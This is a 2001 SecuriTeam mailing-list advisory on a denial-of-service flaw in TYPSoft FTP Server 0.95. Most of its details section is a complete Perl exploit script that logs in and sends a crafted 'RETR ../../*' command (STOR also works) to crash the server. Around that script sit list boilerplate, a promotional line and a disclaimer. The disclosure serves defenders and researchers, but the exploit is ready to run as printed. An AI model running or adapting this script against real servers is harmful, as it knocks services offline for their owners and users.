[EXPL] TYPSoft FTP Server STOR/RETR Denial of Service Vulnerability

From: support@securiteam.com
Date: 10/16/01


From: support@securiteam.com
To: list@securiteam.com
Subject: [EXPL] TYPSoft FTP Server STOR/RETR Denial of Service Vulnerability
Message-Id: <20011016092138.BD51A138C1@mail.der-keiler.de>
Date: Tue, 16 Oct 2001 11:21:38 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  TYPSoft FTP Server STOR/RETR Denial of Service Vulnerability
------------------------------------------------------------------------

SUMMARY

 <http://www.multimania.com/typsoft/eng/> TYPSoft FTP Server provides
administrators with a small and efficient FTP Server. A security
vulnerability in the product allows remote attackers to cause the server
to crash, effectively causing a denial of service attack.

DETAILS

Vulnerable systems:
TYPSoft FTP Server version 0.95

Exploit:
#!/usr/bin/perl

use IO::Socket;
use Socket;

print "-= ASGUARD LABS EXPLOIT - TYPSoft FTP Server v0.95 =-\n\n";

if($#ARGV < 2 | $#ARGV > 3) { die "usage: perl typ095DOS.pl <host> <user>
<pass> [port]\n" };
if($#ARGV > 2) { $prt = $ARGV[3] } else { $prt = "21" };

$adr = $ARGV[0];
$usr = $ARGV[1];
$pas = $ARGV[2];
$err = "RETR ../../*";

#Both works "STOR" and "RETR"

$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: can't connect to $adr:$prt\n";

$remote->autoflush(1);

print $remote "USER $usr\n" and print "1. Sending : USER $usr...\n" or die
"Error: can't send user\n";

print $remote "PASS $pas\n" and print "2. Sending : PASS $pas...\n" or
die
"Error: can't send pass\n";

print $remote "$err/\n" and print "3. Sending : ErrorCode...\n\n"or die
"Error: can't send error code\n";

print "Attack done. press any key to exit\n";
$bla= <STDIN>;
close $remote;

ADDITIONAL INFORMATION

The information has been provided by <mailto:jan.wagner@de.tiscali.com>
J. Wagner.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages